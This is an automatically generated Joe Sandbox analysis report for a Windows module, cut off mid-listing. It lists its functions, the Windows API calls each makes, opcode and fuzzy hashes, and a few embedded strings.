CreateFileW.KERNEL32 ref: 000000018002D44E
GetLastError.KERNEL32 ref: 000000018002D47E
GetFileType.KERNEL32 ref: 000000018002D493
GetLastError.KERNEL32 ref: 000000018002D49D
CloseHandle.KERNEL32 ref: 000000018002D4D0
CloseHandle.KERNEL32 ref: 000000018002D634
CreateFileW.KERNEL32 ref: 000000018002D669
GetLastError.KERNEL32 ref: 000000018002D678

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 1a25c0d1fd3bfd2fc87dba1621445f8bbacfd26f609d8afd724ba73d8b012311
Instruction ID: cf7d08cdbf223275b32a2311082e09d3531cd8b8de5b4a5aabe58beb1422b91e
Opcode Fuzzy Hash: 1a25c0d1fd3bfd2fc87dba1621445f8bbacfd26f609d8afd724ba73d8b012311
Instruction Fuzzy Hash: EDC19F36720A4886EB92CFA9D4947DD3761F34DBE8F018216EA2A977D4CF74C659C300

Function 00000001800245BC Relevance: 10.7, APIs: 7, Instructions: 174
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000001800245F4
_invalid_parameter_noinfo.LIBCMT ref: 0000000180024639
CreatePipe.KERNEL32 ref: 000000018002467F
GetLastError.KERNEL32 ref: 0000000180024689
CloseHandle.KERNEL32 ref: 00000001800246C0
CloseHandle.KERNEL32 ref: 00000001800246CB
_get_daylight.LIBCMT ref: 00000001800247A5

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CloseHandle_invalid_parameter_noinfo$CreateErrorLastPipe_get_daylight
String ID:
API String ID: 2469496653-0
Opcode ID: 0b908156909fb84df3b336cb7f45ff0f655c09e1f266d298a1b3d26f314a4635
Instruction ID: 9ab5974e1d2c840e8fbcaa6b593ca0a3f65945247d9427bf9519bcb603b2eea7
Opcode Fuzzy Hash: 0b908156909fb84df3b336cb7f45ff0f655c09e1f266d298a1b3d26f314a4635
Instruction Fuzzy Hash: 6A719C72224A8892EB92DF69D8443DE2B60E389BD4F118215FA4A4B7A1DF38C649C711

Function 0000000180018E10 Relevance: 7.6, APIs: 5, Instructions: 60
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180018E34
CreateThread.KERNEL32 ref: 0000000180018E75
GetLastError.KERNEL32 ref: 0000000180018E83
CloseHandle.KERNEL32 ref: 0000000180018EA0
FreeLibrary.KERNEL32 ref: 0000000180018EAF

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 0d9d6a7a5726074c34e8d0d1f4529f909fc1424790298e38c727ecd516585ed1
Instruction ID: 12737f411e7e1cf6fa5e52e191477aea7fb7eae0c348a13b6a3526cfdce42438
Opcode Fuzzy Hash: 0d9d6a7a5726074c34e8d0d1f4529f909fc1424790298e38c727ecd516585ed1
Instruction Fuzzy Hash: 84215C35205B4886EF9BDB65A4143EA63E1AF8CBD0F188825FE4A43B95DF3CC7089700

Function 0000000180009F48 Relevance: 6.1, APIs: 4, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 0000000180009F76
CreateDirectoryW.KERNEL32 ref: 0000000180009F86
GetFileAttributesW.KERNEL32 ref: 000000018000A024
CreateDirectoryW.KERNEL32 ref: 000000018000A036

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: 7815d2c84b0fed0335fd76532c423a9c3957b7b80f1c8f39c2d93c2d788e27c1
Instruction ID: 218b208b423e143f71806dfc3f6ffe5c5a48fff2784f5452fec044fc15edd28a
Opcode Fuzzy Hash: 7815d2c84b0fed0335fd76532c423a9c3957b7b80f1c8f39c2d93c2d788e27c1
Instruction Fuzzy Hash: 5221C33521594841FEB2D765E4543FAB360BB8CBD4F488120FF9946AD5DE2CC609C704

Function 0000000180023FEC Relevance: 6.1, APIs: 4, Instructions: 53
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32 ref: 000000018002401C
GetExitCodeProcess.KERNEL32 ref: 000000018002402E
GetLastError.KERNEL32 ref: 0000000180024048
CloseHandle.KERNEL32 ref: 000000018002407C

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait
String ID:
API String ID: 2321548817-0
Opcode ID: 26369f207304a3a4eb36f8971b1d50db89a1ecb600855df9ebcd80be048494c3
Instruction ID: bf86fecbd73a39524917c0fb1e126dfb34c6ddfd28f68d5883d0ea50a007c6d7
Opcode Fuzzy Hash: 26369f207304a3a4eb36f8971b1d50db89a1ecb600855df9ebcd80be048494c3
Instruction Fuzzy Hash: 3F118B3260568886FBD79F6594403ED63A0AB4DBE0F08C610FB264B6D4DF78CB8A8701

Function 000000018000CFAC Relevance: 4.6, APIs: 3, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018000D022
SetFilePointer.KERNEL32 ref: 000000018000D04C
SetFilePointer.KERNEL32 ref: 000000018000D0AF

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$Pointer$Create
String ID:
API String ID: 250661774-0
Opcode ID: 63c1da646bd38b41013fe3ffef9690c3b05cb5bdb3a39ed47ad85da9e21afdc5
Instruction ID: 28d61b3b080624d32d11d3a3cedd0b823d406c420ba7b9be128570eabed745d6
Opcode Fuzzy Hash: 63c1da646bd38b41013fe3ffef9690c3b05cb5bdb3a39ed47ad85da9e21afdc5
Instruction Fuzzy Hash: D131E53251479886E3A2CF26A44079E7FA0F388BE0F54C21AEF5503B90DF79C64AC751

Function 0000000180018D48 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000018001E8A0: GetLastError.KERNEL32 ref: 000000018001E8AF
Part of subcall function 000000018001E8A0: SetLastError.KERNEL32 ref: 000000018001E94F

CloseHandle.KERNEL32 ref: 0000000180018D83
FreeLibraryAndExitThread.KERNEL32 ref: 0000000180018D99
ExitThread.KERNEL32 ref: 0000000180018DA2

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: cd62f93f4177a4893dbb9f0bb8911854dd9ceeafd4a7f2074f1ff998cca59af7
Instruction ID: 29440b3ad1ab096661f3ac28fc7f1df91acb9383f013401940a2ea590955c663
Opcode Fuzzy Hash: cd62f93f4177a4893dbb9f0bb8911854dd9ceeafd4a7f2074f1ff998cca59af7
Instruction Fuzzy Hash: C1F04431200B8C95EB9B5B6094443ED23A5EB9DBB5F688B15A738076D4DF34CB498341

Function 0000000180004FBC Relevance: 4.5, APIs: 3, Instructions: 25sleepCOMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0000000180004FC2
Sleep.KERNEL32 ref: 0000000180004FD0
SleepEx.KERNEL32 ref: 0000000180004FD6

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Sleep$Count64Tick
String ID:
API String ID: 2406120688-0
Opcode ID: 988f5a1ec5ca7fc1aa32ed168a822a2bb7b683a27a4a414c488008b7cf8a1d28
Instruction ID: dc04b3bd82e00ba80485c895dca742a58086082a151d7b71af77049a3f1a5cb7
Opcode Fuzzy Hash: 988f5a1ec5ca7fc1aa32ed168a822a2bb7b683a27a4a414c488008b7cf8a1d28
Instruction Fuzzy Hash: 1FE0D864B1050946F79A27B5AC893D512828B9C371F14C234A926096D5DE3856CD0300

Function 0000000180008100 Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180008AF0: IsDebuggerPresent.KERNEL32 ref: 0000000180008AF4

CreateMutexW.KERNEL32 ref: 0000000180008114
GetLastError.KERNEL32 ref: 000000018000811F

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CreateDebuggerErrorLastMutexPresent
String ID:
API String ID: 1687116478-0
Opcode ID: a4360c5aae07ef295ea75f41278b0407774a7c3ed11de9fdc780b54ec0e2318e
Instruction ID: acbf590ba7c79c44c5546926fbdc27d25e048bbe93ffc16a5b4841122e7aa791
Opcode Fuzzy Hash: a4360c5aae07ef295ea75f41278b0407774a7c3ed11de9fdc780b54ec0e2318e
Instruction Fuzzy Hash: 7AE01771A0164C81FADBF7B158063DE32927F4D7C2F85C929F186001E38F28434E83A2

Function 00000001800214F8 Relevance: 2.6, APIs: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 0000000180021566
GetLastError.KERNEL32 ref: 0000000180021570

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a06c28f5000c5f0c91bbd4b7b0e5c57a49f0af3656d61e4c1682c96ff0b12bf7
Instruction ID: 27804a3bc8a991570a3f6cdbd133cdde9159f9fbdc9bb6827f22e357b3757e49
Opcode Fuzzy Hash: a06c28f5000c5f0c91bbd4b7b0e5c57a49f0af3656d61e4c1682c96ff0b12bf7
Instruction Fuzzy Hash: 6421D231714A9885FFD79764A4853FD1382A79C7E5F08C269FA2A473C6CE68CA898301

Function 0000000180020390 Relevance: 2.5, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00000001800203A6
GetLastError.KERNEL32 ref: 00000001800203B0

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: bf97634e25c794e803d8c98c7461c3baf430e1edc199995cc504504dee553771
Instruction ID: 20681907d06a188040083742e271d61785e95bd85784d6e5cc8f9fa572c81fea
Opcode Fuzzy Hash: bf97634e25c794e803d8c98c7461c3baf430e1edc199995cc504504dee553771
Instruction Fuzzy Hash: 5DE01D7071264C47FF9BABF154593E913955B4C7D1F04D825AD0596292DF3C474D8710

Function 0000000180024168 Relevance: 1.7, APIs: 1, Instructions: 181processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 00000001800243C3

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5b076a854e752f7bcdeb314fd77e739853af4e1135fb25d819a3e7f252135b45
Instruction ID: df5351df7058836270bd9f06f760cadbb4c7d2ab067293224713c1201260d724
Opcode Fuzzy Hash: 5b076a854e752f7bcdeb314fd77e739853af4e1135fb25d819a3e7f252135b45
Instruction Fuzzy Hash: 248152376047848AE7A3CB66E4803DE7BA4F3897D8F148115FE9817BA9DF74C6598700

Function 000000018000D164 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 000000018000D19E

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 8c9508e488aa075d5b1fbcfff6974e5f12ced9c718e677f61efc8058a9cf6934
Instruction ID: 3fd0d0d7384b659236a0bfe8070189c08b348f0ce3cbfed5085867cb106e796b
Opcode Fuzzy Hash: 8c9508e488aa075d5b1fbcfff6974e5f12ced9c718e677f61efc8058a9cf6934
Instruction Fuzzy Hash: 2801DF71A2512CA6FBFBC719C510FE836A2976C7D8F74C103E80502AC0DE12CA8ADF21

Function 000000018000D0DC Relevance: 1.5, APIs: 1, Instructions: 41fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 000000018000D10F

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 45a92f52fc0701a6052ba7a38d71c7f4b30ca79feb5076f9f1700aca98d9e0d9
Instruction ID: 1d2bc234544b05135b076b3f4c618391e3975a8b2a5dfcaf9b45af1431b24e04
Opcode Fuzzy Hash: 45a92f52fc0701a6052ba7a38d71c7f4b30ca79feb5076f9f1700aca98d9e0d9
Instruction Fuzzy Hash: E301CC3772468887E748CF2AE581798B7A0B78CBC0F54812AEB0983B54CF34D995CB00

Function 0000000180004F20 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SHGetPathFromIDListW.SHELL32 ref: 0000000180004F70

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FromListPath
String ID:
API String ID: 3839826586-0
Opcode ID: 41cebb645bf9a3c71c5451b41088e2b3d016f1fb6057b38c4aad76eeacd421db
Instruction ID: 12e4207a284de3e4efdd74e293213f05f08e76553ddeb50f55038ebdb69c4969
Opcode Fuzzy Hash: 41cebb645bf9a3c71c5451b41088e2b3d016f1fb6057b38c4aad76eeacd421db
Instruction Fuzzy Hash: 7701D872624B8882EB61DB21E8553EA7350F7DD784F409125FA8E0764ADF3CC3498700

Function 000000018000D1E0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 000000018000D203

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1592680760631c39adfae282877fbe7b71f57cbe683cd3b2ecd650313e0d12a0
Instruction ID: 5db237b18b434165adb9924bfb5f0821b8c9a73d14b0177cabe02d0576b5169f
Opcode Fuzzy Hash: 1592680760631c39adfae282877fbe7b71f57cbe683cd3b2ecd650313e0d12a0
Instruction Fuzzy Hash: 81E0203660508C85F7B7CB7DC0447A93760C77CB84F1CC441E60502584CE15C5DB8720

Function 00000001800044A8 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

Part of subcall function 00000001800050C0: ExitProcess.KERNEL32 ref: 00000001800050D5

Part of subcall function 0000000180004BFC: GetCurrentProcess.KERNEL32 ref: 0000000180004C1D
Part of subcall function 0000000180004BFC: OpenProcessToken.ADVAPI32 ref: 0000000180004C2F
Part of subcall function 0000000180004BFC: LookupPrivilegeValueW.ADVAPI32 ref: 0000000180004C4A
Part of subcall function 0000000180004BFC: AdjustTokenPrivileges.ADVAPI32 ref: 0000000180004C8A
Part of subcall function 0000000180004BFC: GetLastError.KERNEL32 ref: 0000000180004C94
Part of subcall function 0000000180004BFC: Sleep.KERNEL32 ref: 0000000180004CC6
Part of subcall function 0000000180004BFC: CloseHandle.KERNEL32 ref: 0000000180004CD0

Part of subcall function 0000000180008100: CreateMutexW.KERNEL32 ref: 0000000180008114
Part of subcall function 0000000180008100: GetLastError.KERNEL32 ref: 000000018000811F

ExitProcess.KERNEL32 ref: 00000001800044CC

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Process$ErrorExitLastToken$AdjustCloseCreateCurrentHandleLookupMutexOpenPrivilegePrivilegesSleepValue
String ID:
API String ID: 1805699633-0
Opcode ID: 0065c218f65f5626bc10955be951d7cb19a620b5bb23de5ee824e7eb783c9040
Instruction ID: b5ee993cd68d47cad0632b8bd12e6610cde57e749f6b0764f6e34e8e19a60b89
Opcode Fuzzy Hash: 0065c218f65f5626bc10955be951d7cb19a620b5bb23de5ee824e7eb783c9040
Instruction Fuzzy Hash: 1CD01230602A8C80EADFF3B4086B3DE25242F0C7C1F00C4297002011D38D28839C4322

Function 0000000180020318 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 000000018002036D

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a1f60aefd55be852a83b51dc19f23318ad457bc9196a783a40380938ac71195c
Instruction ID: 82fd279e561d0853b3da2cb113c0942a7bbb1dc8820051ba711847d9dbe9cfeb
Opcode Fuzzy Hash: a1f60aefd55be852a83b51dc19f23318ad457bc9196a783a40380938ac71195c
Instruction Fuzzy Hash: 44F01D7430170C82FFDB97A158553D953895B8DBC0F6CC421B90A866E2DF5CC78D8311

Function 000000018002556C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00000001800255AA

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 9aea96639d9b7dd11a7ea2e2b4ee360ee4cbb66b4d0839e2be98222e3a6788c2
Instruction ID: db42b9add9c0d64b6219cc3f0309d20b3c6db80b7d50203088a6abec9d9780a3
Opcode Fuzzy Hash: 9aea96639d9b7dd11a7ea2e2b4ee360ee4cbb66b4d0839e2be98222e3a6788c2
Instruction Fuzzy Hash: 30F08C30312A5C85FFE767B158697E913815B4CBE6F08CA207C668A3C9DE78C6888718

Non-executed Functions

Function 000000018000A068 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 347timeCOMMON

Download Yara Rule

APIs

Part of subcall function 000000018000D164: SetFilePointer.KERNEL32 ref: 000000018000D19E

MultiByteToWideChar.KERNEL32 ref: 000000018000A20C
LocalFileTimeToFileTime.KERNEL32 ref: 000000018000A384

Strings

/../, xrefs: 000000018000A26D
/..\, xrefs: 000000018000A281
\../, xrefs: 000000018000A259
\..\, xrefs: 000000018000A23F

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: File$Time$ByteCharLocalMultiPointerWide
String ID: /../$/..\$\../$\..\
API String ID: 3172667723-3885502717
Opcode ID: 1a8afd9cb175600a78d15287651243128a287261bfeaf5010580accabdd9cf22
Instruction ID: d8fab8bb007b6f11a0e32248e7e611dbf0dda9bc79147fc556e01963c758ccbe
Opcode Fuzzy Hash: 1a8afd9cb175600a78d15287651243128a287261bfeaf5010580accabdd9cf22
Instruction Fuzzy Hash: A8E1B172608A8886FBA6CF25E4507DE77E0F3897C4F45C026EB8947785EE79D649CB00

Function 000000018002B8EC Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

Part of subcall function 000000018001E728: FlsSetValue.KERNEL32 ref: 000000018001E76D

GetUserDefaultLCID.KERNEL32 ref: 000000018002BA5C

Part of subcall function 000000018001E728: FlsSetValue.KERNEL32 ref: 000000018001E79A
Part of subcall function 000000018001E728: FlsSetValue.KERNEL32 ref: 000000018001E7AB
Part of subcall function 000000018001E728: FlsSetValue.KERNEL32 ref: 000000018001E7BC

EnumSystemLocalesW.KERNEL32 ref: 000000018002BA43
ProcessCodePage.LIBCMT ref: 000000018002BA86
IsValidCodePage.KERNEL32 ref: 000000018002BA98
IsValidLocale.KERNEL32 ref: 000000018002BAAE
GetLocaleInfoW.KERNEL32 ref: 000000018002BB0A
GetLocaleInfoW.KERNEL32 ref: 000000018002BB26

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: ae4c162fad16733e796f7a981602afeaf1efae4e7cde59196332f827b414aadd
Instruction ID: f7b37e13b4f78c4fb94ccdd2454f6e12fee8f39838e8a55217b6ca1921296c56
Opcode Fuzzy Hash: ae4c162fad16733e796f7a981602afeaf1efae4e7cde59196332f827b414aadd
Instruction Fuzzy Hash: 3D7167727007088AFB939B61D8507ED33B4BB4CBC8F44C526EA5993A95EF38CA49C311

Function 00000001800102C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000001800102DC
RtlCaptureContext.KERNEL32 ref: 0000000180010309
RtlLookupFunctionEntry.KERNEL32 ref: 0000000180010323
RtlVirtualUnwind.KERNEL32 ref: 0000000180010364
IsDebuggerPresent.KERNEL32 ref: 00000001800103B8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000001800103D9
UnhandledExceptionFilter.KERNEL32 ref: 00000001800103E4

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 35f7c7bd2ccaf0af883b9bb363d3c67bdee9e1d1d7564df4543d4ff367ad991e
Instruction ID: cdbf820431aba49d9c3e232fd8917a9be81b81ba2e3d82612c6d734815f4e6fc
Opcode Fuzzy Hash: 35f7c7bd2ccaf0af883b9bb363d3c67bdee9e1d1d7564df4543d4ff367ad991e
Instruction Fuzzy Hash: 28316172204F848AEBA18F60E8403EE7364F788784F548129EA8E47B98DF78C65CC710

Function 0000000180015F04 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000180015F7D
RtlLookupFunctionEntry.KERNEL32 ref: 0000000180015F95
RtlVirtualUnwind.KERNEL32 ref: 0000000180015FD0
IsDebuggerPresent.KERNEL32 ref: 0000000180016009
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000180016013
UnhandledExceptionFilter.KERNEL32 ref: 000000018001601E

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ab5718db59ea21ea970444a0811ff5ad989c4a03954f4d06bc89c748b39c9169
Instruction ID: 09cf47260382510ce7b39014f476f0cba4be6acbf12e87874cf5ea67f55df811
Opcode Fuzzy Hash: ab5718db59ea21ea970444a0811ff5ad989c4a03954f4d06bc89c748b39c9169
Instruction Fuzzy Hash: 8F314F36204F8489DBA28B25E8403DE73A4F78C795F544125EA9D43B99DF38C2598B00

Function 000000018002AEB8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000018001E728: GetLastError.KERNEL32 ref: 000000018001E737
Part of subcall function 000000018001E728: FlsGetValue.KERNEL32 ref: 000000018001E74C
Part of subcall function 000000018001E728: SetLastError.KERNEL32 ref: 000000018001E7D7

GetACP.KERNEL32 ref: 000000018002AFA5
IsValidCodePage.KERNEL32 ref: 000000018002AFCD

Strings

utf8, xrefs: 000000018002B0B1

Memory Dump Source

Source File: 00000000.00000002.2133363455.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2132937273.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

